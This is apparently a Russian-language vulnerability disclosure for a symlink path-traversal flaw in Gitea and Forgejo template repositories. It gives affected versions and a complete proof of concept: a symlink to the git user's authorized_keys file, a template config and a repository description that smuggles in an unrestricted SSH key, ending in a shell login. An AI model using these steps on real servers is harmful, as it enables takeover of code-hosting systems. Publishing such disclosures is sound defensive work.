
Обход каталогов в обработке шаблонов репозитория Gitea и Forgejo позволяет удаленным аутентифицированным злоумышленникам обрабатывать произвольные файлы в файловой системе, что приводит к удаленному выполнению кода.
Эта работа лицензирована в соответствии с Creative Commons Attribution-ShareAlike 4.0 International License.
Проверяя исходный код Forgejo и Gitea, чтобы лучше понять, как выполняется шаблонизация, я обнаружил уязвимость, которая позволяет аутентифицированному пользователю создать вредоносный репозиторий шаблонов, который можно использовать для обработки произвольных файлов в файловой системе.
При создании репозитория на основе Git-содержимого вредоносного шаблона, шаблон сможет разворачивать произвольные файлы в файловой системе.
Зная путь к домашней директории пользователя git (по умолчанию
/data/git в официальном docker-образе), злоумышленник может развернуть
файл .ssh/authorized_keys пользователя git, чтобы внедрить ключ без
параметра command, который можно использовать для выполнения произвольных
команд или получения интерактивной оболочки.
Затронутые версии: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
Затронутый компонент: Репозитории шаблонов
Корневая причина: Разрешение символических ссылок при чтении и записи содержимого файлов шаблонов
Злоумышленник аутентифицируется как легитимный пользователь
Злоумышленник создает вредоносный репозиторий шаблонов, содержащий
символическую ссылку на предполагаемый файл .ssh/authorized_keys
пользователя git и файл .forgejo/template, ссылающийся на эту
символическую ссылку
Злоумышленник добавляет открытый ключ ssh в свою учетную запись с
пользовательским комментарием, заканчивающимся на ${REPO_DESCRIPTION}
Злоумышленник создает репозиторий, ссылающийся на вредоносный репозиторий шаблонов, с включенным шаблонированием Git-содержимого и описанием, содержащим перевод строки, за которым следует другой открытый ключ ssh
Шаблоны Gitea/Forgejo читают и обрабатывают символическую ссылку
authorized_keys, в результате чего комментарий ранее установленного
открытого ключа расширяется до произвольной записи, соответствующей
описанию репозитория злоумышленника, без параметра command
Злоумышленник входит в систему интерактивно как пользователь git,
используя внедренный ключ
Также злоумышленник может повредить файл конфигурации, базу данных SQLite или вызвать отказ в обслуживании, читая огромные файлы.
Установите и настройте уязвимую версию Gitea/Forgejo
Зарегистрируйте или создайте учетную запись для злоумышленника, используя учетную запись администратора
Войдите, используя учетную запись злоумышленника
Сгенерируйте два различных SSH-ключа: один для Git, другой для интерактивного SSH
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub как авторизованный
ssh-ключ через интерфейс Gitea/ForgejoКомментарий ключа должен присутствовать и выглядеть так:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Теперь файл .ssh/authorized_keys пользователя git выглядит так:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Создайте вредоносный репозиторий шаблонов через интерфейс Gitea/Forgejo
Клонируйте репозиторий шаблонов и добавьте вредоносную символическую ссылку и конфигурацию шаблона
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys
# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template
# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template
# Commit and push the changes
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pubОписание репозитория должно выглядеть так:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
Слово replaced в первой строке не обязательно, но нужно убедиться, что
перевод строки все равно присутствует. Комментарий attacker@machine в
конце строки также не обязателен.
Результирующий файл .ssh/authorized_keys пользователя git будет
выглядеть так:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh и клиент sshssh -i ~/.ssh/attacker-ssh git@localhost -p 222